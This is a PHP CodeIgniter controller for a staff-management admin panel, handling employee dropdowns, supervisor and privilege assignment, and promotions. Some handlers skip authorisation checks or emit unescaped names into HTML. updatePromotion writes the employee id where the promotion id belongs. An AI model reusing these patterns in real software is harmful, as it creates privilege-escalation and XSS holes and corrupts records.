        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'emp_list' => $options
        );
        echo json_encode($responseData);
    }

    public function getAllEmployeesBySubDepartmentAndDesignatinCategoryForDropDownConfig() {
        $sub_dept_id = $_POST['sub_dept_id'];
        $desig_type = $_POST['dcm_id'];
        $query = $this->StaffManagement->getAllWorkingEmployeesUnderGivenSubDepartmentAndDesignationType($sub_dept_id, $desig_type);
        $empList = $query->result();
        $options = "";
        for ($i = 0; $i < (sizeof($empList)); $i++) {
            $options .= "<option value=" . $empList[$i]->smember_id . ">" . stripslashes($empList[$i]->tprfl_firstname . " " . $empList[$i]->tprfl_lastname) . "</option>";
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'emp_list' => $options
        );
        echo json_encode($responseData);
    }

    public function getAllEmployeesByRoleForDropDown() {
        $role_id = $_POST['role_id'];
        $smember_id = (isset($_POST['smember_id'])) ? $_POST['smember_id'] : "";
        $query = $this->StaffManagement->getAllWorkingEmployeesUnderGivenRole($role_id);
        $empList = $query->result();
        $options = "";
        for ($i = 0; $i < (sizeof($empList)); $i++) {
            $selected = "";
            if ($smember_id != "" && ($empList[$i]->smember_id == $smember_id )) {
                $selected = "selected";
            }
            $options .= "<option value=" . $empList[$i]->smember_id . " " . $selected . ">" . stripslashes($empList[$i]->tprfl_firstname . " " . $empList[$i]->tprfl_lastname) . "(" . $empList[$i]->tld_signinid . ")" . "</option>";
        }
        $responseData = array(
            'csrfName' => $this->security->get_csrf_token_name(),
            'csrfHash' => $this->security->get_csrf_hash(),
            'emp_list' => $options
        );
        echo json_encode($responseData);
    }

    public function supervisors() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData['allSupervisorsAndSubordinates'] = $this->StaffManagement->getAllSupervisorsAndSubordinates()->result();
            $this->load->view('admin/staff/supervisors', $viewData);
        } else {
            redirect("admin/");
        }
    }

    /* Request Handlers For Supervisor Module */

    public function assignSupervisor() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['desigCategories'] = $this->DesignationManagement->getActiveNonDeletedDesignationCategories()->result();
            $viewData['supervisors'] = $this->StaffManagement->getAllSupervisorEmployees()->result();
            $this->load->view('admin/staff/assignSupervisor', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveNewSupervisorAssignment() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('subordinateDesigCat', 'Subordinate Employee Designation Category', 'trim|required', array('required' => 'Please Select Subordinate Employee Designation Category.'));
            $this->form_validation->set_rules('subordinateDesig', 'Subordinate Employee Designation', 'trim|required', array('required' => 'Please Select Subordinate Employee Designation.'));
            $this->form_validation->set_rules('subordinateUser', 'Subordinate Employee', 'trim|required', array('required' => 'Please Select Subordinate Employee.'));
            $this->form_validation->set_rules('supervisorUser', 'Supervisor Employee', 'trim|required', array('required' => 'Please Select Supervisor Employee.'));
            if ($this->form_validation->run() == FALSE) {
                $this->assignSupervisor();
            } else {
                $subordinateId = trim($this->input->post('subordinateUser'));
                $subordinateAssignmentInfo = $this->StaffManagement->getSupervisorInfoBySubordinate($subordinateId)->result();
                if (sizeof($subordinateAssignmentInfo)) {
                    $supvisorAssignmentId = $subordinateAssignmentInfo[0]->sup_id;
                    $supervisorAssignmentUpdate = array(
                        'sup_id' => $supvisorAssignmentId,
                        'sup_smember_id' => trim($this->input->post('supervisorUser')),
                        'sub_smember_id' => $subordinateId,
                        'sup_updated_on' => date("Y-m-d H:i:s"),
                        'sup_updated_by' => $this->session->userdata("adminData")["smember_id"]
                    );
                    if ($this->StaffManagement->updateSupervisorAssignmentInfo($supervisorAssignmentUpdate)) {
                        $this->session->set_flashdata('successMessage', 'Previous Assignment Was Found. Overriden With New Selection Successfully.');
                        redirect("admin/Staff/supervisors");
                    } else {
                        $this->session->set_flashdata('errorMessage', 'Some Error Occurred While overriding Previous Supervisor Assignment. Try Later.');
                        redirect(current_url());
                    }
                } else {
                    $newSupervisorAssignmentData = array(
                        'sup_smember_id' => trim($this->input->post('supervisorUser')),
                        'sub_smember_id' => $subordinateId,
                        'sup_assigned_on' => date("Y-m-d H:i:s"),
                        'sup_assigned_by' => $this->session->userdata("adminData")["smember_id"],
                        'sup_updated_on' => date("Y-m-d H:i:s"),
                        'sup_updated_by' => $this->session->userdata("adminData")["smember_id"]
                    );
                    if ($this->StaffManagement->createNewSupervisorAssignment($newSupervisorAssignmentData)) {
                        $this->session->set_flashdata('successMessage', 'Supervisor Assignment Successful.');
                        redirect("admin/Staff/supervisors");
                    } else {
                        $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Assigning Supervisor. Try Later.');
                        redirect(current_url());
                    }
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function deleteSupervisorAssignment($sup_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->StaffManagement->deleteAssignmentMappingRecord($sup_id);
            $this->session->set_flashdata('successMessage', 'Supervisor Assignment Removed Successfully.');
            redirect("admin/Staff/supervisors");
        } else {
            redirect("admin/");
        }
    }

    /* Request Handlers For Supervisor Module */

    /* Request Handlers For Priviledge Assignment Module */

    public function priviledges() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $this->session->unset_userdata("priviledgeInfo");
            $viewData['desigCategories'] = $this->DesignationManagement->getActiveNonDeletedDesignationCategories()->result();
            $this->load->view('admin/staff/priviledgesStepOne', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function proceedToStepTwo($selectedUser = "") {
        if ($this->sessionvalidator->isLoggedIn()) {
            if ($selectedUser == "") {
                $this->form_validation->set_rules('userDesigCat', 'Employee Designation Category', 'trim|required', array('required' => 'Please Select Employee Designation Category.'));
                $this->form_validation->set_rules('userDesig', 'Employee Designation', 'trim|required', array('required' => 'Please Select Employee Designation.'));
                $this->form_validation->set_rules('user', 'Employee', 'trim|required', array('required' => 'Please Select The Employee.'));
                if ($this->form_validation->run() == FALSE) {
                    $this->priviledges();
                } else {
                    $allAssignmentInfo = array();
                    $selectedUser = $this->input->post('user');
                    $this->session->set_userdata("priviledgeInfo", $selectedUser);
                    $getSelectedUserInfo = $this->StaffManagement->getEmployeeInfoBy($selectedUser)->result()[0];
                    $allMainMenus = $this->MenuManagement->getNonDeletedActiveOperationGroups()->result();
                    foreach ($allMainMenus as $mainMenu) {
                        $allSubMenus = $this->MenuManagement->getAllActiveNonDeletedOperationsUnderGroup($mainMenu->group_id)->result();
                        $thisSubMenuWithAssignmentInfo = array();
                        foreach ($allSubMenus as $subMenus) {
                            $thisSubMenuWithAssignment = array(
                                'oprtn_id' => $subMenus->oprtn_id,
                                'oprtn_name' => $subMenus->oprtn_name,
                                'is_oprtn_assigned' => ($this->MenuManagement->isOperationAssigned($subMenus->oprtn_id, $selectedUser)) ? 1 : 0,
                            );
                            array_push($thisSubMenuWithAssignmentInfo, $thisSubMenuWithAssignment);
                        }
                        $thisMenuDataWithAssignmentInfo = array(
                            'group_id' => $mainMenu->group_id,
                            'group_name' => $mainMenu->group_name,
                            'group_icon' => $mainMenu->group_icon,
                            'is_group_isolated' => ($mainMenu->group_slug_url != NULL || $mainMenu->group_slug_url != "") ? 1 : 0,
                            'is_group_assigned' => ($this->MenuManagement->isOperationGroupAssigned($mainMenu->group_id, $selectedUser)) ? 1 : 0,
                            'operations' => $thisSubMenuWithAssignmentInfo
                        );
                        array_push($allAssignmentInfo, $thisMenuDataWithAssignmentInfo);
                    }
                    $assignmentInfo = array(
                        'smember_id' => $selectedUser,
                        'name' => stripslashes($getSelectedUserInfo->tprfl_firstname . " " . $getSelectedUserInfo->tprfl_lastname),
                        'signinid' => $getSelectedUserInfo->tld_signinid,
                        'priviledge_assignment' => $allAssignmentInfo
                    );
                    $viewData['assignmentInfo'] = $assignmentInfo;
                    $this->load->view('admin/staff/priviledgesStepTwo', $viewData);
                }
            } else {
                $allAssignmentInfo = array();
                $selectedUser = $this->session->userdata("priviledgeInfo");
                $getSelectedUserInfo = $this->StaffManagement->getEmployeeInfoBy($selectedUser)->result()[0];
                $allMainMenus = $this->MenuManagement->getNonDeletedActiveOperationGroups()->result();
                foreach ($allMainMenus as $mainMenu) {
                    $allSubMenus = $this->MenuManagement->getAllActiveNonDeletedOperationsUnderGroup($mainMenu->group_id)->result();
                    $thisSubMenuWithAssignmentInfo = array();
                    foreach ($allSubMenus as $subMenus) {
                        $thisSubMenuWithAssignment = array(
                            'oprtn_id' => $subMenus->oprtn_id,
                            'oprtn_name' => $subMenus->oprtn_name,
                            'is_oprtn_assigned' => ($this->MenuManagement->isOperationAssigned($subMenus->oprtn_id, $selectedUser)) ? 1 : 0,
                        );
                        array_push($thisSubMenuWithAssignmentInfo, $thisSubMenuWithAssignment);
                    }
                    $thisMenuDataWithAssignmentInfo = array(
                        'group_id' => $mainMenu->group_id,
                        'group_name' => $mainMenu->group_name,
                        'group_icon' => $mainMenu->group_icon,
                        'is_group_isolated' => ($mainMenu->group_slug_url != NULL || $mainMenu->group_slug_url != "") ? 1 : 0,
                        'is_group_assigned' => ($this->MenuManagement->isOperationGroupAssigned($mainMenu->group_id, $selectedUser)) ? 1 : 0,
                        'operations' => $thisSubMenuWithAssignmentInfo
                    );
                    array_push($allAssignmentInfo, $thisMenuDataWithAssignmentInfo);
                }
                $assignmentInfo = array(
                    'smember_id' => $selectedUser,
                    'name' => stripslashes($getSelectedUserInfo->tprfl_firstname . " " . $getSelectedUserInfo->tprfl_lastname),
                    'signinid' => $getSelectedUserInfo->tld_signinid,
                    'priviledge_assignment' => $allAssignmentInfo
                );
                $viewData['assignmentInfo'] = $assignmentInfo;
                $this->load->view('admin/staff/priviledgesStepTwo', $viewData);
            }
        } else {
            redirect("admin/");
        }
    }

    public function savePriviledge() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $operationSelection = $this->input->post('operations');
            $operationGroupSelection = $this->input->post('groups');
            $smemberId = $this->input->post('selectedUser');
            $areOperationsChecked = 0;
            $areOperationGroupsChecked = 0;
            $operationsToAssign = array();
            $operationGroupToAssign = array();
            if (!empty($operationSelection)) {
                if (sizeof($operationSelection)) {
                    foreach ($operationSelection as $operations) {
                        $thisSelectedOperation = array(
                            'oprtn_id' => $operations,
                            'group_id' => $this->input->post("operationGroup[$operations]"),
                            'smember_id' => $smemberId,
                            'assigned_by' => $this->session->userdata("adminData")["smember_id"],
                            'assigned_on' => date("Y-m-d H:i:s")
                        );
                        array_push($operationsToAssign, $thisSelectedOperation);
                    }
                } else {
                    $areOperationsChecked++;
                }
            } else {
                $areOperationsChecked++;
            }
            if (!empty($operationGroupSelection)) {
                if (sizeof($operationGroupSelection)) {
                    foreach ($operationGroupSelection as $operationGroup) {
                        $thisSelectedOperationGroup = array(
                            'oprtn_id' => 0,
                            'group_id' => $operationGroup,
                            'smember_id' => $smemberId,
                            'assigned_by' => $this->session->userdata("adminData")["smember_id"],
                            'assigned_on' => date("Y-m-d H:i:s")
                        );
                        array_push($operationGroupToAssign, $thisSelectedOperationGroup);
                    }
                } else {
                    $areOperationGroupsChecked++;
                }
            } else {
                $areOperationGroupsChecked++;
            }
            if ($areOperationsChecked && $areOperationGroupsChecked) {
                $this->session->set_flashdata('errorMessage', "At Least One Operation Or Operation Group Must Be Selected In Order To Assign Priviledge To Selected User.");
                $this->proceedToStepTwo($smemberId);
            } else {
                $this->db->trans_start();
                $this->MenuManagement->deleteUserGroupFilesRecordsBy($smemberId);
                if (sizeof($operationGroupToAssign) && sizeof($operationsToAssign)) {
                    if ($this->MenuManagement->createNewUserGroupFilesRecordsMulti($operationsToAssign) && $this->MenuManagement->createNewUserGroupFilesRecordsMulti($operationGroupToAssign)) {
                        $this->db->trans_complete();
                        $this->session->set_flashdata('successMessage', 'Operation(s) & Group(s) Assigned Successfully.');
                        redirect("admin/Staff/priviledges");
                    } else {
                        $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Assigning Operations(s) & Group(s). Try Later.');
                        redirect(current_url());
                    }
                } else if (sizeof($operationGroupToAssign)) {
                    if ($this->MenuManagement->createNewUserGroupFilesRecordsMulti($operationGroupToAssign)) {
                        $this->db->trans_complete();
                        $this->session->set_flashdata('successMessage', 'Group(s) Assigned Successfully.');
                        redirect("admin/Staff/priviledges");
                    } else {
                        $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Assigning Group(s). Try Later.');
                        redirect(current_url());
                    }
                } else {
                    if ($this->MenuManagement->createNewUserGroupFilesRecordsMulti($operationsToAssign)) {
                        $this->db->trans_complete();
                        $this->session->set_flashdata('successMessage', 'Operation(s) Assigned Successfully.');
                        redirect("admin/Staff/priviledges");
                    } else {
                        $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Assigning Operation(s). Try Later.');
                        redirect(current_url());
                    }
                }
            }
        } else {
            redirect("admin/");
        }
    }

    /* Request Handlers For Priviledge Assignment Module */

    /* Request Handlers For Promotion Module */

    public function promotion() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData['workingEmployee'] = $this->StaffManagement->getAllWorkingEmployees()->result();
            if (isset($_POST['filterSubmitBtn'])) {
                $selectedEmployee = $this->input->post('employee');
                if (trim($selectedEmployee) == "") {
                    $viewData['promotionInfo'] = $this->StaffManagement->getAllEmployeesPromotions()->result();
                } else {
                    $viewData['promotionInfo'] = $this->StaffManagement->getEmployeeAllPromotions($selectedEmployee)->result();
                }
            } else {
                $viewData['promotionInfo'] = $this->StaffManagement->getAllEmployeesPromotions()->result();
            }
            $this->load->view('admin/staff/employeePromotions', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createPromotion() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['workingEmployee'] = $this->StaffManagement->getAllWorkingEmployees()->result();
            $viewData['departments'] = $this->DepartmentManagement->getActiveNonDeletedDepartments()->result();
            $viewData['desigCategories'] = $this->DesignationManagement->getActiveNonDeletedDesignationCategories()->result();
            $this->load->view('admin/staff/createEmployeePromotion', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveNewPromotion() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('employee', 'Employee', 'trim|required', array('required' => 'Please Select An Employee For Promotion.'));
            $this->form_validation->set_rules('dept', 'Employee Department', 'trim|required', array('required' => 'Please Select Employee Department.'));
            $this->form_validation->set_rules('subDept', 'Employee Sub-Department', 'trim|required', array('required' => 'Please Select Employee Sub-Department.'));
            $this->form_validation->set_rules('empDesig', 'Employee Designation', 'trim|required', array('required' => 'Please Select Employee Designation.'));
            $this->form_validation->set_rules('empDOJ', 'Date Of Joining', 'trim|required', array('required' => 'Please Choose Date Of Joining.'));
            if ($this->form_validation->run() == FALSE) {
                $this->createPromotion();
            } else if (sizeof($this->StaffManagement->getEmployeePromotionInfoByDesignation(trim($this->input->post('employee')), trim($this->input->post('empDesig')))->result())) {
                $this->session->set_flashdata('errorMessage', "This Designation Can Not Be Alloted As Either This Employee Is Currently Working On This Designation Or He/She May Have Worked On This Designation Earlier. Please Choose A Different Designation.");
                $this->createPromotion();
            } else {
                $newPromotionInfo = array(
                    'smember_id' => trim($this->input->post('employee')),
                    'desig_id' => trim($this->input->post('empDesig')),
                    'spm_doj' => date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('empDOJ')))),
                    'spm_dor' => (trim($this->input->post('empDOR')) == "" ) ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('empDOR')))),
                    'spm_added_by' => $this->session->userdata("adminData")["smember_id"],
                    'spm_added_on' => date("Y-m-d H:i:s"),
                    'spm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                    'spm_updated_on' => date("Y-m-d H:i:s")
                );
                $this->db->trans_start();
                if ($this->StaffManagement->createNewPromotion($newPromotionInfo)) {
                    $employeeInfo = $this->StaffManagement->getEmployeeInfoBy(trim($this->input->post('employee')))->result()[0];
                    $employeeProfileUpdateInfo = array(
                        'tprfl_id' => $employeeInfo->tprfl_id,
                        'desig_id' => trim($this->input->post('empDesig')),
                        'tprfl_updated_on' => date("Y-m-d H:i:s"),
                        'tprfl_updated_by' => $this->session->userdata("adminData")["smember_id"]
                    );
                    if ($this->StaffManagement->updateProfileInfo($employeeProfileUpdateInfo)) {
                        $this->db->trans_complete();
                        $this->session->set_flashdata('successMessage', 'Employee Promoted Successfully.');
                        redirect("admin/Staff/promotion");
                    } else {
                        $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Profile. Try Later.');
                        redirect(current_url());
                    }
                } else {
                    $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Promoting Employee. Try Later.');
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editPromotion($smp_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['workingEmployee'] = $this->StaffManagement->getAllWorkingEmployees()->result();
            $viewData['departments'] = $this->DepartmentManagement->getActiveNonDeletedDepartments()->result();
            $viewData['desigCategories'] = $this->DesignationManagement->getActiveNonDeletedDesignationCategories()->result();
            $viewData['empPromotionInfo'] = $this->StaffManagement->getEmployeePromotionInfoBy($smp_id)->result()[0];
            $this->load->view('admin/staff/editEmployeePromotion', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updatePromotion() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $smemberId = $this->input->post('employee');
            $promotionId = $this->input->post('promotionId');
            $this->form_validation->set_rules('dept', 'Employee Department', 'trim|required', array('required' => 'Please Select Employee Department.'));
            $this->form_validation->set_rules('subDept', 'Employee Sub-Department', 'trim|required', array('required' => 'Please Select Employee Sub-Department.'));
            $this->form_validation->set_rules('empDesigCat', 'Employee Designation Category', 'trim|required', array('required' => 'Please Select Employee Designation Category.'));
            $this->form_validation->set_rules('empDesig', 'Employee Designation', 'trim|required', array('required' => 'Employee Designation Can Not Be Blank.'));
            $this->form_validation->set_rules('empDOJ', 'Date Of Joining', 'trim|required', array('required' => 'Date Of Joining Can Not Be Blank.'));
            if ($this->form_validation->run() == FALSE) {
                $this->editPromotion($promotionId);
            } else if (sizeof($this->StaffManagement->getEmployeePromotionInfoByDesignation($smemberId, trim($this->input->post('empDesig')))->result())) {
                $this->session->set_flashdata('errorMessage', "This Designation Can Not Be Alloted As Either This Employee Is Currently Working On This Designation Or He/She May Have Worked On This Designation Earlier. Please Choose A Different Designation.");
                $this->editPromotion($promotionId);
            } else {
                $promotionUpdateInfo = array(
                    'spm_id' => $smemberId,
                    'desig_id' => trim($this->input->post('empDesig')),
                    'spm_doj' => date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('empDOJ')))),
                    'spm_dor' => (trim($this->input->post('empDOR')) == "Not Updated" ) ? NULL : date("Y-m-d", strtotime(str_replace('/', '-', $this->input->post('empDOR')))),
                    'spm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                    'spm_updated_on' => date("Y-m-d H:i:s")
                );
                $this->db->trans_start();
                if ($this->StaffManagement->updateEmployeePromotionInfo($promotionUpdateInfo)) {
                    $employeeInfo = $this->StaffManagement->getEmployeeInfoBy($smemberId)->result()[0];
                    $lastPromotionInfo = $this->StaffManagement->getLastPromotionOfEmployeeBy($smemberId)->result()[0];
                    $employeeProfileUpdateInfo = array(
                        'tprfl_id' => $employeeInfo->tprfl_id,
                        'desig_id' => $lastPromotionInfo->desig_id,
                        'tprfl_updated_on' => date("Y-m-d H:i:s"),
                        'tprfl_updated_by' => $this->session->userdata("adminData")["smember_id"]
                    );
                    if ($this->StaffManagement->updateProfileInfo($employeeProfileUpdateInfo)) {
                        $this->db->trans_complete();
                        $this->session->set_flashdata('successMessage', 'Promotion Info Updated Successfully.');
                        redirect("admin/Staff/promotion");
                    } else {
                        $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Profile. Try Later.');
                        redirect(current_url());
                    }
                } else {
                    $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Promotion Info. Try Later.');
                    redirect(current_url());
                }
            }
        } else {
            redirect("admin/");
        }
    }

    /* Request Handlers For Promotion Module */
}

KBHT - 2023